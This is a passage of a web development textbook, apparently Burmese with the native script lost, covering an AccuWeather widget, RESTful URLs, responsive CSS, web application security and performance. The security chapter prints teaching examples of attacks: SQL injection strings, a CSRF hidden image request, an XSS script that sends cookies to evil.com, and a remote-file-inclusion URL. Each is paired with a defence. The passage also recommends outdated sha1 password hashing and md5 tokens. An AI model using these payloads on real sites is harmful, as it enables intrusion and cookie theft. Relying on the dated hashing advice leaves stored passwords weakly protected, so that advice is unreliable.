"Link": "http://www.accuweather.com/en/mm/yangon/246562/current-weather/246562"
}
]

Data JavaScript Widget HTML


Document
HTML Structure
Body Structure

Professional Web Developer () Web Service API

428

<div class="weather">
<strong class="status"></strong>
<img src="" alt="" class="icon">
<em class="temp">
<span class="temp-value"></span>
&deg;
<span class="temp-unit"></span>
</em>
</div>

CSS Style
body {
background: #efefef;
font-family: arial;
}
.weather {
width: 200px;
text-align: center;
border: 4px solid #ddd;
background: #fff;
padding: 30px 0;
margin: 40px auto;
border-radius: 10px;
}
.status, .temp {
display: block;
}
.icon {
margin: 10px 0;
}

jQuery jquery.js <script> Element <script>


Element JavaScript
$(document).ready(function() {
var url = "http://apidev.accuweather.com/currentconditions/v1/246562.json?
language=en&apikey=meSocYcloNe";
$.get(url, function(status) {
var api = "http://api.accuweather.com/developers/";
var iconSrc = "Media/Default/WeatherIcons/";
var icon = api + iconSrc + status[0].WeatherIcon + "-s.png";
$(".status").html( status[0].WeatherText );
$(".icon").attr("src", icon);
$(".temp-value").html(status[0].Temperature.Metric.Value);

Professional Web Developer () Web Service API

429

$(".temp-unit").html(status[0].Temperature.Metric.Unit);
}, "jsonp");
});

Document Ready API URL Variable


URL
$.get Method Ajax Request Respond Data Type jsonp
api.accuweather.com Cross-domain Request
jsonp Data Type

API URL apikey Query Key
Key AccuWeather Register

$.get Callback Function API Data status Variable



Variable WeatherText, WeatherIcon, Temperature.Metric.Value
Temperature.Metric.Unit Element

(-)

(-) Weather Widget


Web Service API Data Function
Application

Website Web

Professional Web Developer () Web Service API

430

Conclusion

Web Service Service Provide API Design


Service API Documentation

Service API API Directory prorgammableweb.com
Service Website

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () RESTful URL

432

() RESTful URL
Everything is Representable Already. But How about More?

Web Service Representational State Transfer


(REST)
Web Service REST
Web Service REST Rockstar Developer ()
REST Web Application

16.1 Self-descriptive Message

REST Self-descriptive
Message Client Server

() HTTP Request Header
GET /foo.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 26 Feb 2013 05:34:16 GMT

Respond
Header
HTTP/1.1 200 OK
Last-Modified: Sun, 03 Mar 2013 20:15:33 GMT
Content-Encoding: gzip
Content-Length: 1448
Content-Type: text/html; charset=utf-8


HTTP REST Request/Response
Self-descriptive

Professional Web Developer () RESTful URL

433

16.2 Self-descriptive URL

Web Service URL API


Web Service
Self-descriptive URL API
Web Service Web Application Self-descriptive URL

URL
http://www.example.com/foo/bar.php?action=buy&itemID=123&catName=cloth
URL Self-descriptive URL URL
URL
http://example.com/buy/shoe/123
URL URL
Self-descriptive URL ()
URL Rewrite
RewriteRule ^(\w+)/(\w+)/(\w+)/?$ /foo/bar.php?action=$1&catName=$2&itemID=$3

example.com/buy/shoe/123 URL example.com/foo/bar


.php?action=buy&catName=shoe&itemID=123 URL
REST Self-descriptive Message
URL RESTful URL
RESTful URL
User URL
Application Usability
16.3 Consistence URL
URL URL Rewirte
URL

example.com/get-all-books
example.com/checkout
example.com/edit-book/123
example.com/category-update/42
example.com/get-history
example.com/add-category

Professional Web Developer () RESTful URL

434

URL Rewrite URL Selfdescriptive URL Structure get-all-books URL get



all-books category-update URL
update category
URL Structure Self-descriptive Consistence
RESTful URL Self-descriptive Consistence
Consistence (Verb) (Noun) URL
HTTP GET, POST, PUT, DELETE Request
Method Method
URL Verb
Create, Read, Update, Delete URL ()

example.com/get-all-book
example.com/get-book/123
example.com/book-create
example.com/update-all-books
example.com/book-update/123
example.com/delete-all-books
example.com/book-delete/123

URL () URL () HTTP Request Method


(-)

(-) RESTful URL Structure with HTTP Methods

Professional Web Developer () RESTful URL

435

/books books/[id] URL POST, GET, PUT, DELETE Method ()


()

GET /books
GET /books/123 123
POST /books
PUT /books Update
PUT /books/123 123 Update
DELETE /books
DELETE /books/123 123

HTTP Request Method URL Structure Selfdescriptive Consistence

Conclusion

Web Service Web Application URL Structure


Self-descriptive
User URL Application
Usability
Web Application Application Interface JavaScript
Server-side Code Database
() Ajax
Client-side Application Server-side URL
Ajax Request URL Consistence Client-side
Code Request Server-side
URL Self-descriptive
Code URL URL
Self-descriptive URL Consistence URL
Development Maintenance Productive
Web Service REST
RESTful URL

Web Service REST Rockstar Developer ()

Ubuntu Linux

Linux Operating System Ubuntu OS


Configuration, Administration
Command-Line Interface Development
Environment
Email: author@u4ubook.com
Website: http://u4ubook.com

Professional Web Developer () Mobile Web

437

() Mobile Web
99 Problems, But Mobile Ain't One

Mobile Device
.
(%) Mobile Device
Desktop/ Laptop Mobile Web
" Mobile "
Mobile Website

Mobile Device
Website Mobile Device

Website Desktop Web Browser
Mobile Device Desktop Processing
Power Mobile Browser Desktop Browser

Desktop
Website Mobile
Screen Size Mobile Device Screen Size Desktop Screen

Desktop Screen Website Mobile Screen
Site Content
Zoom



Website
Scan Scan
Mobile Screen Desktop Website


Scan Zoom
Scan Desktop Website Mobile

Professional Web Developer () Mobile Web

438

Screen Scan
Scan


Website
Mobile User Website
Website Mobile Screen
Website Mobile Screen
Design
Mobile Screen Size Smart Phone
iPhone Size Samsung Galaxy S4 Size Galaxy Note Size
HTC One Size Tablet iPad, iPad Mini, Nexus 7,
Nexus 9 Size Orientation
Portrait Mode Size Landscape Mode
Size

Solution CSS3 Media Query CSS3


Android Browser, iOS Browser, Blackberry Browser, Opera Mini/Mobile Mobile Browser
Media Query Size Style
Content Screen Size
CSS Style Responsive Web
Design

17.1 Twitter Bootstrap CSS Framework

JavaScript Framework Web Application Framework CSS Framework


Responsive Framework Popular
CSS Framework Twitter Bootstrap Grid System Element
class Layout

(-) Twitter Bootstrap - Grid

Professional Web Developer () Mobile Web

439

Twitter Bootstrap Grid Columns () (-) Two


Columns Layout HTML Structure
<div class="container">
<div class="row">
<div class="col-md-12"></div>
</div>
<div class="row">
<div class="col-md-4"></div>
<div class="col-md-8"></div>
</div>
<div class="row">
<div class="col-md-12"></div>
</div>
</div>

.row Element () Row ()



Row Row .col-md-12

Element ()
Columns Block Row () Columns .colmd-4 () Columns .col-md-8 Block
(-)

(-) Twitter Bootstrap - Basic Layout


Block Float Clear Layout
Element Class
Background Color Margin Bootstrap Grid
Background Margin

.col-md-12 Class md Medium Device


Bootstrap Device Screen Layout Class Small
Phone Screen xs (Extra Small) Class Tablet Screen sm
(Small) Class TV Screen lg (Large Device) Class

Professional Web Developer () Mobile Web

440

Code Desktop Tablet Smartphone


Layout
<div class="container">
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12"></div>
</div>
<div class="row">
<div class="col-md-4 col-sm-6 col-xs-12"></div>
<div class="col-md-8 col-sm-6 col-xs-12"></div>
</div>
<div class="row">
<div class="col-md-12 col-sm-12 col-xs-12"></div>
</div>
</div>

Row Column col-md-4 col-sm-6 col-xs-12



Desktop Screen () Tablet Screen () Phone Screen
() (-)

(-) Responsive Layout with Twitter Bootstrap


Row Block Desktop Screen () () Column

Professional Web Developer () Mobile Web

441

Tablet Screen () Column Phone


Screen () Column
Twitter Bootstrap Layout Screen Size
Responsive Web Design

Twitter Bootstrap http://twitter.github.io/bootstrap/ Download

17.2 A Responsive Layout from Scratch

Twitter Bootstrap Framework



Responsive Layout
Screen Size Design
Desktop Screen Mobile Screen
Graceful Degradation ( )

Mobile Screen Desktop Screen


Screen
Desktop User
Mobile User Desktop Design
Mobile First Screen Smart Phone
Screen Screen Size
Progressive Enhancement ( )

Mobile User Desktop User Mobile Design

Google CEO Eric Schmidt Google Mobile First Approach
Mobile First Progressive Enhancement

Mobile First
Responsive Style
Mobile First
HTML Document Structure
<!doctype html>
<html>
<head>

Professional Web Developer () Mobile Web

442

<meta charset="UTF-8">
<title>Responsive Design</title>
</head>
<body>
<header>
<a href="#" class="des">Learn more about responsive design?</a>
<span class="logo"></span>
<hgroup>
<h1>A Responsive Design</h1>
<h2>Inspired by the Goldilocks Approach</h2>
</hgroup>
</header>
<nav>
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">About</a></li>
<li><a href="#">Contact</a></li>
<li><a href="#">Services</a></li>
<li><a href="#">Products</a></li>
<li><a href="#">FAQs</a></li>
</ul>
</nav>
<section class="content">
<article></article>
<article></article>
<article></article>
<article></article>
</section>
<footer>
<p>&copy; Copyright 2013. All right reserved.</p>
</footer>
</body>
</html>

Structure Section Header, Nav, Content Section Footer


Header Logo, Name Description Nav Navigation List
Content Section Article Footer Copyright Statement

Structure Mobile Screen


Style CSS
External Style Document <style> Element CSS

html {
background: #ECF0F1;
margin: 0;
padding: 0;
}

Professional Web Developer () Mobile Web

body {
font-family: Arial, Helvetica, sans-serif;
line-height: 1.5em;
padding: 0.8em;
max-width: 30em;
margin: 1em auto;
background: #fff;
border: 4px solid #BDC3C7;
box-shadow: 0 0 10px #ddd;
}
a {
color: #2980B9;
text-decoration: none;
border-bottom: 1px dotted #2980B9;
}
a:hover, a:active {
color: #3498DB;
border-bottom: 1px solid #2980B9;
}
header {
text-align: center;
margin-bottom: 1em;
}
.des {
display: block;
font-size: 0.8em;
}
.logo {
font-size: 5em;
color: #E74C3C;
display: block;
margin: 0.5em 0;
}
h1 {
margin: 0;
color: #555;
font-family: Georgia;
font-weight: normal;
font-size: 1.2em;
}
h2 {
font-size: 0.8em;
color: #aaa;
font-weight: normal;
margin: 0;
}

443

Professional Web Developer () Mobile Web

444

nav ul {
list-style: none;
margin: 0;
padding: 0;
overflow: hidden;
}
nav li {
margin: 0 1px 1px 0;
float: left;
width: 49.6%;
}
nav li a {
font-size: 0.9em;
display: block;
color: #fff;
background: #E74C3C;
text-align: center;
border: 0 none;
padding: 0.5em 0;
}
nav li a:hover, nav li a:active {
border: 0 none;
background: #C0392B;
color: #fff;
}
.content {
margin: 1em 0;
}
article {
margin: 0.5em;
height: 80px;
background: #34495E;
}
footer {
text-align: center;
color: #34495E;
font-size: 0.8em;
}

CSS
body Max Width 30em
Screen Size Pixel Mobile Device
Screen Size Resolution Desktop
Pixel Screen Size Screen Size Pixel
Device Smart Phone Tablet
Orientation Portrait Landscape () Screen

Professional Web Developer () Mobile Web

445

Screen
Style Screen
Style
Browser (-)

(-) Example Responsive Design Smallest Screen


Header Element Center Align Navigation Menu
Width 49.6%
()
()
Design Mobile Website Design Screen

Screen CSS Style Style


Professional Web Developer () Mobile Web

@media screen and (min-width: 33em) {


body {
padding: 1.6em;
max-width: 60em;
}
header {
overflow: hidden;
text-align: left;
}
.logo {
float: left;
}
hgroup {
float: left;
margin: 1.6em 0 0 1em;
}
.des {
float: right;
margin-top: 3em;
}
h1 {
font-size: 1.6em;
}
nav {
background: #E74C3C;
}
nav ul li {
width: auto;
border-right: 1px solid #C0392B;
}
nav ul li a {
font-size: 1em;
padding: 0.5em 3em;
}
.content {
overflow: hidden;
}
article {
height: 120px;
width: 23.2%;
float: left;
}
footer {
border-top: 1px solid #BDC3C7;
padding-top: 0.5em;
}
}

446

Professional Web Developer () Mobile Web

447

@media screen and (min-width: 33em) Media Query


Style Style () Screen
CSS Screen
() Screen

CSS Rule
Header Element
Float / Navigation Menu Width
Auto Article Element Width
Float Browser (-)

(-) Example Responsive Design Biggest Screen


Desktop Website
Responsive
Browser Window Size
Window (-) Mobile Website
Window (-) Desktop Website
Screen Size
Tablet Screen ( ) Phone Screen Landscape Mode


@media screen and (min-width: 30em) and (max-width: 60em) {
body {
width: 36em;
}

Professional Web Developer () Mobile Web

448

.des {
display: block;
float: none;
text-align: center;
margin-top: 0;
}
nav {
background: transparent;
}
nav ul li {
width: 33%;
border: 0 none;
}
article {
width: 46%;
}
}

@media screen and (min-width: 30em) and (max-width: 60em) Media Query
Style Rule () () Screen
@media Query ()


Query
Style Screen
Navigation Menu Article Width

Browser Window Size (-)

Professional Web Developer () Mobile Web

449

(-) Example Responsive Design Medium Sized Screen


Screen Menu
Article Screen Size
Style Responsive Design
Screen () () Screen
Smart Phone Screen () () Screen
Tablet Screen Smart Phone Landscape Mode ()
Table Landscape Mode Desktop Screen
() Screen Cover

Professional Web Developer () Mobile Web

450

Conclusion

Mobile Web Application


Mobile Website - Gmail,
Facebook, Twitter Website Mobile Device
Website
Responsive Style Website
Design
Desktop Website Mobile Website
Maintenance
Website Table
()
Responsive Design Website Screen Size Design
Mobile Web Responsive
Design Application Responsive
Website

Rockstar Developer

10x Programmer ()
Test-Driven Development, Service Oriented
Architecture, Git, SCRUM, NodeJS, MongoDB, ExpressJS,
Build Automation, Back-end Server Architecture

Email: author@rsdbook.com
Website: http://rsdbook.com

Professional Web Developer () Web Application Security

452

() Web Application Security


Prepare Yourself. Bad Guys are Everywhere.


Web
Application Security Code

























Professional Web Developer () Web Application Security

453

Web Application

18.1 SQL Injection

Web Application Security SQL Injection


User Input SQL Query Attack
() Online Book Store Online Book Store
Home Page Category
URL
http://localhost/store/index.php?cat=1
URL cat Category Script
$cat_id = $_GET['cat'];
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysql_query($sql);

URL SQL Query


URL Category Menu
Application URL

http://localhost/store/index.php?cat=1;DELETE FROM books;
cat SQL Command
Script SQL SELECT * FROM books WHERE category_id = 1;DELETE FROM books;

SELECT Query DELETE Query books Table


Record Attack SQL Injection Attack Input
SQL Query (-)

Professional Web Developer () Web Application Security

454

(-) SQL Injection


Web Application
Book Store Project Attack
mysql_query() Function SQL Query MySQL Server
Inject SQL Query
Attack

Source: http://xkcd.com/327/
Login Form User Name
Password Database Table -

Professional Web Developer () Web Application Security

455

$name = $_POST['name'];
$pass = $_POST['pass'];
$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'"
$result = mysql_query($sql);
if( mysql_nums_row($result) ) {
$_SESSION['auth'] = true;
}

Login Form User Name Password users Table


Login User Account Attacker User
Name Password ' OR ''=' Login
SQL SELECT * FROM users WHERE name='fake' AND password='' OR ''=''

User Name Password OR ''='' users Table


Record Script Record User Account
Login Query
mysql_query()

Preventing SQL Injection in PHP

SQL Injection Code


SQL Injection Attack
[ Example 1 ]
$cat_id = mysql_real_escape_string( $_GET['cat'] );
$sql = "SELECT * FROM books WHERE category_id = $cat_id";
$books = mysql_query($sql);
[ Example 2 ]
$name = mysql_real_escape_string( $_POST['name'] );
$pass = mysql_real_escape_string( $_POST['pass'] );
$sql = "SELECT * FROM users WHERE name='$name' AND password='$pass'";
$result = mysql_query($sql);

Input SQL mysql_real_escape_string() Function Filter


Function Input String Special Character Escape
SQL Inject Attack Function

Professional Web Developer () Web Application Security

456

SELECT * FROM users WHERE name='fake' AND password='\' OR \'\'=\''

Special Character Single Quote Backslash Escape Query Operator


Script Input Function
SQL Injection Attack
PHP5 Database PDO
PHP Community mysql_*
Function Database

Performance
MySQL Multiple Query Statements
Multiple Query
Record () Database () Query
Performance Query Statement ()
Multiple Query SQL Inject Attack
SQL Inject Attack Input
Filter
PHP mysql_* Function Deprecated
Version Function Database
PDO ( ) mysqli_* Function
mysql_* Function
Project Database
PDO
PDO

mysql_* Function

SQL Injection Attack PDO Prepare Statement

PHP Data Objects PDO

PDO PHP 5.1 Data Access Layer Database



MySQL Oracle, MSSQL, Sqlite,
PostgreSQL Database Server
PDO
MySQL Database
MySQL Database
Database Server
Database -

Professional Web Developer () Web Application Security

457

$conn = mysql_connect("localhost", "root", "");


mysql_select_db("mydb", $conn);

PDO $conn = new PDO('mysql:host=localhost;dbname=mydb', "root", "");

new
Keyword

PDO
Instant


Connection String mysql:
Database
Connection String Database

MySQL host dbname


Parameter root Database User Blank "" Password

Database Query mysql_query() Function
$subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";

mysql_query( $sql );

PDO $subject = $_POST['subject'];


$sql = "INSERT INTO tasks (subject, created_date) VALUES ('$subject', now())";
$conn->query( $sql );

PDO Connection Object query() Method


Query SQL Injection Thread Prepare Statement $subject = $_POST['subject'];
$sql = "INSERT INTO tasks (subject, created_date) VALUES (:subject, now())";
$pre = $conn->prepare( $sql );
$pre->execute( array(':subject' => $subject) )

SQL Query prepare() Method Query


:subject Label MySQL Query

execute() Method Query

Professional Web Developer () Web Application Security

458

:subject Label Query


Input Value MySQL
Input SQL Command Query
SELECT Query Record Record mysql_fetch_assoc()
Fetch $result = mysql_query( "SELECT * FROM tasks" );
while( $row = mysql_fetcch_assoc( $result ) ) {
echo "<li>" . $row['subject'] . "</li>";
}

PDO $rows = $conn->query( "SELECT * FROM tasks" );


foreach( $rows as $row ) {
echo "<li>" . $row['subject'] . "</li>";
}

SELECT Query Record Object $rows


Object Fetch $rows Object foreach() Loop
Record
mysql_query() Resource ID Resource ID
Fetch PDO query() Resource ID Record
Fetch
mysql_fetch_assoc() Fetch Method
$result = $conn->prepare('SELECT * FROM books WHERE id = :id');
$result->execute(array( 'id' => $id ));
while($row = $result->fetch()) {
echo "<li>" . $row['title'] . "</li>";
}

PDO Method lastInsertId(), exec() rowCount()


INSERT Query
Record Auto Increment ID
mysql_insert_id() PDO -

Professional Web Developer () Web Application Security

459

$id = $conn->lastInsertId();

Record Query query() Method exec() Method


$conn->exec("SET NAMES UTF8;");

Database Character Encoding query() Method


exec() query() Method exec()

rowCount() Method UPDATE, DELETE Query Record

$result = $conn->query("UPDATE categories SET name='Technology'
WHERE name='Internet' OR name='Tech'");
$effected_row = $result->rowCount();

mysql_* Function PDO Database


SQL Injection Attack

18.2 Cross-Site Request Forgery CSRF

CSRF Web Application


Attack Online Book Store

Online Book Store
Login Form User Name Password
Cookie Session Value
Book Store Domain Name
Script URL http://example.com/admin/book-del.php?id=1
Login URL ID = 1 bookdel.php Script
Request
Script Login Form Redirect

Professional Web Developer () Web Application Security

460




CSRF Attack
Website book-del.php
Hidden Element Website <img src="http://example.com/admin/book-del.php?id=1" width="0" height="0">

Book Store Admin Login Logout Website


src URL ( ) Request
Login Request Script
Request
Request ( )

Cross-site
Request Forgery
Application
Website
Logout

URL Query
Form
POST Request Submit Delete Request
Form Confirmation Form
Unique Token Generate Form Hidden Input

Generated Token Cookie Request
Server-side Script Cookie Token POST Request Token

CSRF Attack Request Application
Generated Token
Token Form Server-side Script
[ Form ]
<?php
$token = md5(rand(1, 1000) . time());
setcookie("csrf", $token);
?>
<form action="update.php" method="post">
...
<input type="hidden" name="token" value="<?= $token ?>">
</form>

Professional Web Developer () Web Application Security

461

[ Server-side Script ]
<?php
$cookie_token = $_COOKIE['csrf'];
$form_token = $_POST['token'];
if($cookie_token != $form_token) exit("Unauthorized Request!");
?>

md5() Function String Hash Function Hash


Form Load Random String md5()
Hash Token Cookie Form Hidden Input

Server-side Request Request Form
CSRF Request Form Request Cookie
Token Random
Request
CSRF Attack

18.3 Cross-site Scripting XSS

SQL Injection Input Data Query Command


XSS Input Data JavaScript
JavaScript HTML Document
Application - Application
Comment Comment Form Comment
Comment Attack Comment Box

JavaScript
<script>document.location='http://evil.com/bad.php?cookies='+document.cookie</script>

Server-side Script Database Comment


JavaScript Code Cookie Attacker
Website Cookie Personal Information
Session Token CSRF Request Token

JavaScript Document Element Website


Content Attacker Content XSS
Website Defacement Deface Website
Website "Hacked by Blablalba"

Attack User Input Filter

Input

Professional Web Developer () Web Application Security

462

Escape XSS Script Input HTML


Element <script> Element
Element
Attribute (Inline Script)
User Input HTML Element
PHP Element Tag
strip_tags() Function
$input = "<script>alert('Evil Message')</script>";
$filtered_input = strip_tags( $input );
# => alert('Evil Message')

strip_tags() Function Input String Tag


Element
Element htmlspecialchars()
Function
$input = "<b>Hello World</b>";
$output = htmlspecialchars( $input ); # => &lt;b&gt;Hello World&lt;/b&gt;

HTML Special Character Entitles Element



Element Element
PHP Build-In

Third-Party PHP Library Library


HTML Purifier HTML Purifier Element Attribute Whitelist
Element Attribute
Link: http://htmlpurifier.org/
HTML Purifier
HTML Element
Element Element Attribute HTML Purifier
htmlpurifier.org Source Code Download
PHP Script
include('HTMLPurifier.auto.php');
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($dirty_html);

Professional Web Developer () Web Application Security

463

HTMLPurifier Instant Input String Filter


Output Escape Object purify() Method

18.4 File Upload

File Upload
Code File File Upload
Code Server File File
Database Setting Database
System Command Run Server

Code Attacker
Shell Script

(-) A PHP Shell


(-) Shell Script File System Command Run
PHP Code Run File Browse, Edit, Download
Database SQL Run
File Server File Attacker

Professional Web Developer () Web Application Security

464

Server
File Upload Web Server File
Script File Extension .php PHP Script .pl Perl Script
File Upload
Extension
Attack
.php4 .php3 File
Extension Shell Script .pHp
File Name Space
Extension
Null Character - shell.php
%00.jpg
.jpg File System
Null Character shell.php
File Upload
File Whitelist File Name Extension
Special Character Unicode Character File
Name
File Size

Zip File Uncompress Script Server
Zip File File

18.5 Remote File Inclusion RFI

Shell Script Upload File Include


- Script <?php
$page = $_GET['view'];
include($page . ".php");
?>

URL Query Script File Name http://example.com/page.php?view=home


Attack http://example.com/page.php?view=http://evil.com/shell

Professional Web Developer () Web Application Security

465

-
Code include( "http://evil.com/shell.php" );

Server Shell Script Run php.ini


allow_url_fopen allow_url_include

18.6 Storing Password

Web Application User Registration Password


Password Website
SQL Injection Database
Attacker Password
Website Account

Password Plain Text Hash
Hash One Way Hash
Hash Password Password

Attacker

Password Application Data
Admin
Registration Form
Name, Email Password
Script Database
$name = $_POST['name'];
$email = $_POST['email'];
$password = sha1( $_POST['password'] );
$conn->query( "INSERT INTO users (name. email, password)
VALUES ('$name', '$email', '$password')" );

Password sha1() Function Hash


sha1() CSRF Token md5() Hash Function
Algorithm sha1() md5() sha1() Algorithm md5()
sha1() Hash Algorithm

sha1() Function String () Encrypted String

Professional Web Developer () Web Application Security

466

sha1()
() Hash sha1("The quick brown fox jumps over the lazy dog"); 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
-
shal(""); da39a3ee5e6b4b0d3255bfef95601890afd80709
- sha1 Hash ()
Blank String sha1 Hash ()
Hash Password Database
Login Login Information
$email = $_POST['email'];
$password = sha1( $_POST['password'] );
$result = $conn->query( "SELECT * FROM users
WHERE email='$email' AND password='$password'" );

Hash Login Form Password sha1()


Hash Password
Application
Attacker Hash Password
Password Combination
Password Hash Rainbow Table
Hash Password Hash Password
Record Computer

( Strong Password
) Hash
Password Salt Password Hash
Register Form -

Professional Web Developer () Web Application Security

467

$name = $_POST['name'];
$email = $_POST['email'];
$salt = sha1( time() . rand(1, 1000) );
$password = sha1( $salt . $_POST['password'] );
$conn->query( "INSERT INTO users (name. email, password, salt)
VALUES ('$name', '$email', '$password', '$salt')" );

Random Number $salt sha1 Hash


Password
Hash Salt
Database Salt Random Login
Salt Login Information
Salt Attacker Data Salt


User Account Rainbow Table
User Salt
Password Hash Salt

18.7 Anti-Bot System

Spam Bot Application User Registration


Bot Comment
Spam Bot Automate Script
Bot

CAPTCHA CAPTCHA Website Form


Image Image
Image
Bot Bot Image
Bot Image
Image
CAPTCHA
Bot CAPTCHA
Google reCAPTCHA Web Service
() Image Service reCAPTCHA
"Stop Spam, Read Books." reCAPTCHA Image
Digital

Professional Web Developer () Web Application Security

468

OCR Program
OCR

Service Application google.com/recaptcha Sign Up


Sign Up Public Key, Private Key
reCAPTCHA PHP API Download Download
CAPTCHA Form Page <?php
include('recaptchalib.php');
$publickey = "lorem123ipsum456dolar987sit112amat333";
?>
<form action="register.php" method="post">

<?= recaptcha_get_html($publickey);
<input type="submit" value="Register">
</form>

$publickey Sign Up Public Key CAPTCHA


Image recaptcha_get_html() Function
CAPTCHA Value Server-side

Professional Web Developer () Web Application Security

469

<?php
include('recaptchalib.php');
$privatekey = "3ipsum45lorem12112amat3336dolar987sit";
$resp = recaptcha_check_answer ($privatekey,
$_SERVER["REMOTE_ADDR"],
$_POST["recaptcha_challenge_field"],
$_POST["recaptcha_response_field"]);
if (!$resp->is_valid) {
// CAPTCHA was entered incorrectly
die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." .

"(reCAPTCHA said: " . $resp->error . ")");


} else {
// Successful verification
}
?>

$privatekey Sign Up Private Key is_valid


Value

Form Bot Automate Script Spam
reCAPTCHA PHP API Link

Link: https://developers.google.com/recaptcha/docs/php

18.8 Secure HTTP HTTPS

Network Traffic
Network Software
Wifi Router Proxy Server

Application Network Traffic
Application Client Request, Respond
Request/Respond Password
Session/Cookie Data Credit Card No.
Private Information
HTTPS HTTP Secure
HTTPS
HTTP SSL/TLS Protocol Secure Socket Layer
(SSL)
(Encryption)

Professional Web Developer () Web Application Security

470

Key
Transport Layer Security (TLS) SSL
HTTPS SSL/TLS HTTP
Request/ Respond Encrypt Request
Encrypt Respond Encrypt
Google, Twitter Website HTTPS
Website HTTP
Login HTTPS
Website Support HTTPS
Web Application HTTPS VeriSign, Thawte Service Provider
SSL Certificate Web Server SSL Module
Setting StartSSL Provider
Setting Provider Web Server

Conclusion

-
Password Protect Protect
- Book Admin Protect Order Admin Authentication
Check Attack
File
- Setting phpinfo() Function Run Test Page
Attack File Name
Access - Index Wrapper
View Template Attacker Location URL
Template Access


"Input Filter Output Escape
" User Data

%
Application Admin Attacker Admin Right

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () Performance Optimization

472

() Performance Optimization
Best Practices for Speeding Up Your Website

Website
Website ()

()

Website
Website


Website
() ()

Website ()
Server-side (Processing Performance)
Server Client (Communication Performance)
Client Web Browser HTML/CSS/JavaScript, Image
Resource (Rendering Performance)

Server Client Communication


Performance Website
% Server Client
Optimize Website

Client Server Communication % Optimize Website
Load Time % Server-side
% Optimize Website Load Time .%

Professional Web Developer () Performance Optimization

473

Server-side Website Load Time %

Client Server Communication



Server-side Optimization Website
Scale
Website Load Time Performance Scaling Server-side Optimization
Request
Optimize Process Optimize
Runtime Performance

Scaling Page Load Performance

Browser Resources Rendering Speed
Performance
JavaScript Application Resource
Browser Resource Render
Application Load Time Browser
Rendering Engine JavaScript Engine Improve
Client-side Code Optimize
Web Performance Optimization


Yahoo Performance Optimization Rules Google
PageSpeed Best Practices Yahoo
Rules YSlow

Tool Google PageSpeed Tool
Tool Yahoo Performance
Rules Practices
Yahoo!: http://developer.yahoo.com/performance/rules.html
Google: https://developers.google.com/speed/articles/

19.1 Minimize HTTP Requests

() HTTP Cache Web Browser


Resource Cache
Server Cache

Cache Resource Resource
Server Modified Update Modified

Professional Web Developer () Performance Optimization

474

Cache Cache Browser Web Server


Request Server Resource Modify Browser
Cache Resource
Request
Web Document Resource Image
CSS Style JavaScript Document ()
Resource () Browser Document
Resource Request Server Website
Home Page Request ()
() () Resource Website Load
Cache Resource
Request Respond Header
Request Website Load Time

Request CSS Style File JavaScript File
- CSS Style File () File
Style ()
Request () ()
CSS Sprites Google, Facebook Website
Icon Icon Right Click View
Background Image Option Icon Image File
Image File Icon CSS Background
Position Icon CSS Sprites

(-) CSS Sprites Image


(-) 16x16 Size Icon Image
Image Icon

Professional Web Developer () Performance Optimization

475

[ HTML ]
<span class="video"></span>
[ CSS ]
.video {
display: inline-block;
width: 16px;
height: 16px;
background: url(sprites.png) no-repeat 0 -16px;
}

Image Element Background Background Top Position -16px


Width Height Image
Image
Image Request
Image base64 Encode Data CSS HTML
Inline <img src="data:image/png;base64,iVBORw0KGgoAAXa2Mj2FhZ2lmoAfMfVLQTxNoiFpaC
ILa7vREC7+uMBBQMHl=">

Image base64 Data dataurl.net Tool Image


External Resource Request

Request Page Load Speed
Web Document
External Resource Request

Multiplex HTTP/2
Web Server Web Browser HTTP/2 Support
HTTP/2 Request
HTTP/2 Resource Client
Server Connection Request
Multiplex Connection Resource
Resource Website Performance

Professional Web Developer () Performance Optimization

476

19.2 Use CDN

Web Server Location Client Location Page Load Speed


Web Server

Server Respond Content Delivery Network (CDN)
CDN CloudFlare, Akamai, EdgeCast
CDN Service Provider
CDN Network
Application Static Content

Server Cache Request CDN


Local Server Cache Resource
Application Server Cache Server Respond Local
Server Cache Resource Application Server Request
Resource
Local Server Cache Static Content
Server Respond
Hardware Software Install
Domain Name Authoritative Name Server CDN Server Provider
Name Server
Google, Yahoo, Microsoft CDN Network
CDN Static Content
- jQuery Application File Google Ajax CDN, Microsoft Ajax CDN
CDN jQuery Host Google Ajax
CDN
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js">
</script>

Google CDN jQuery Google Server


Respond CND Service
Google CDN, Ajax CDN CDN
jQuery jQuery UI, jQuery DataTable, BackboneJS, AngularJS, Dojo, Modernizr
Popular Framework
Request CDN Performance Optimization

Professional Web Developer () Performance Optimization

477

19.3 Add an Expires Header

Performance Optimization Request


Cache Request
Browser Request Cache
Expires ( ) Cache-Control Header Respond
- PHP Script <?php
$seconds_to_cache = 3600;
$ts = gmdate("D, d M Y H:i:s", time() + $seconds_to_cache) . " GMT";
header("Expires: $ts");
header("Pragma: cache");
header("Cache-Control: max-age=$seconds_to_cache");
?>

Document ( ) Expire Request


Cache Cache Header Browser
Document Request Cache

Document Modify
Browser Cache Version


Resource PHP Application
Expires Parameter Web Server Setting ()
Apache Web Server Setting mod_expires
Apache mod_expires Enable Expire Setting
<IfModule mod_expires.c>
ExpiresActive on
ExpiresDefault
ExpiresByType text/html
ExpiresByType image/x-icon
ExpiresByType image/png
ExpiresByType image/jpg
</IfModule>

"access
"access
"access
"access
"access

plus
plus
plus
plus
plus

1
0
1
1
1

month"
seconds"
week"
month"
month"

Content () Default Expire Time HTML 0


Seconds Image Style
Static Content Expire HTML Document Dynamic Content
Cache Resource Content Type Expire

Professional Web Developer () Performance Optimization

478

Time
Request Cache Expire Header
Application Performance

19.4 Compress Resources

Respond Content Compress Respond


Compress Image Binary HTML, CSS,
JavaScript Text Resources Size %
Expire Application Web Server Setting
Compress Content
Browser Browser Compression Support
